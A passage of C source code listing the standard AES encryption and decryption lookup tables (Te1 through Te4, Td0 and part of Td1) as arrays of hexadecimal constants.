0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U,
0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U,
0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU,
0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U,
0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U,
0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU,
0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U,
0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U,
0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U,
0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU,
0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU,
0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U,
0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU,
0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU,
0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U,
0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU,
0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U,
0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU,
0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U,
0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U,
0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U,
0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU,
0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U,
0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU,
0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U,
0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU,
0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U,
0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U,
0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU,
0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU,
0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU,
0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U,
0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U,
0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU,
0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U,
0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU,
0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U,
0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU,
0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U,
0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU,
0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU,
0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U,
0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU,
0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U,
0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU,
0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U,
0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U,
0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U,
0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU,
0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU,
0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U,
0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU,
0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U,
};
static const unsigned int Te2[256] =
{
0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU,
0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U,
0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU,
0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U,
0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU,
0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U,
0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU,
0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U,
0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U,
0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU,
0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U,
0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U,
0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U,
0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU,
0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U,
0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U,
0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU,
0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U,
0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U,
0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U,
0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU,
0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU,
0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U,
0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU,
0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU,
0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U,
0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU,
0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U,
0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU,
0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U,
0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U,
0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U,
0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU,
0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U,
0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU,
0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U,
0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU,
0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U,
0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U,
0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU,
0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU,
0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU,
0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U,
0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U,
0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU,
0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U,
0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU,
0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U,
0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU,
0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U,
0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU,
0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU,
0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U,
0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU,
0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U,
0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU,
0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U,
0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U,
0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U,
0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU,
0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU,
0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U,
0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU,
0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U,
};
static const unsigned int Te3[256] =
{
0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U,
0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U,
0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U,
0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU,
0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU,
0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU,
0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U,
0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU,
0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU,
0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U,
0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U,
0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU,
0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU,
0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU,
0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU,
0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU,
0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U,
0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU,
0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU,
0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U,
0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U,
0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U,
0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U,
0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U,
0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU,
0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U,
0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU,
0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU,
0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U,
0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U,
0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U,
0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU,
0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U,
0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU,
0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU,
0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U,
0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U,
0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU,
0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U,
0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU,
0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U,
0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U,
0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U,
0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U,
0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU,
0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U,
0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU,
0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U,
0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU,
0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U,
0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU,
0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU,
0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU,
0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU,
0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U,
0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U,
0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U,
0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U,
0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U,
0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U,
0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU,
0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U,
0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU,
0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU,
};
static const unsigned int Te4[256] =
{
0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU,
0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U,
0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU,
0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U,
0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU,
0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U,
0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU,
0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U,
0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U,
0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU,
0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U,
0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U,
0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U,
0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU,
0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U,
0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U,
0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU,
0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U,
0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U,
0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U,
0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU,
0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU,
0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U,
0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU,
0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU,
0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U,
0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU,
0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U,
0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU,
0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U,
0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U,
0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U,
0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU,
0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U,
0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU,
0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U,
0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU,
0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U,
0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U,
0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU,
0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU,
0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU,
0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U,
0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U,
0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU,
0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U,
0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU,
0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U,
0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU,
0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U,
0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU,
0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU,
0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U,
0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU,
0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U,
0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU,
0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U,
0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U,
0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U,
0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU,
0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU,
0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U,
0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU,
0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U,
};
static const unsigned int Td0[256] =
{
0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U,
0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U,
0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U,
0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU,
0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U,
0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U,
0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU,
0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U,
0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU,
0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U,
0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U,
0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U,
0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U,
0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU,
0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U,
0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU,
0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U,
0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU,
0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U,
0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U,
0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U,
0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU,
0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U,
0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU,
0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U,
0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU,
0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U,
0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU,
0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU,
0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U,
0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU,
0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U,
0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU,
0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U,
0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U,
0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U,
0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU,
0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U,
0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U,
0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU,
0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U,
0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U,
0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U,
0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U,
0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U,
0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU,
0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U,
0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U,
0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U,
0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U,
0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U,
0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU,
0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU,
0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU,
0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU,
0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U,
0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U,
0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU,
0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU,
0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U,
0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU,
0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U,
0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U,
0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U,
};
static const unsigned int Td1[256] =
{
0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU,
0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U,
0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU,
0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U,
0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U,
0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U,
0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U,
0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U,
0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U,
0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU,
0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU,
0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU,
0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U,
0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU,
0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U,
0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U,
0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U,
0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU,
0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU,
0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U,
0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU,
0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U,
0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU,
0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU,
0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U,
0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U,
0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U,
0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU,
0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U,
0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU,
0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U,
0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U,
0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U,
0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU,
0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U,
0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U,
0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U,
0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U,
0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U,
0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U,
0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU,
0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU,
0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U,
0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU,
0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U,
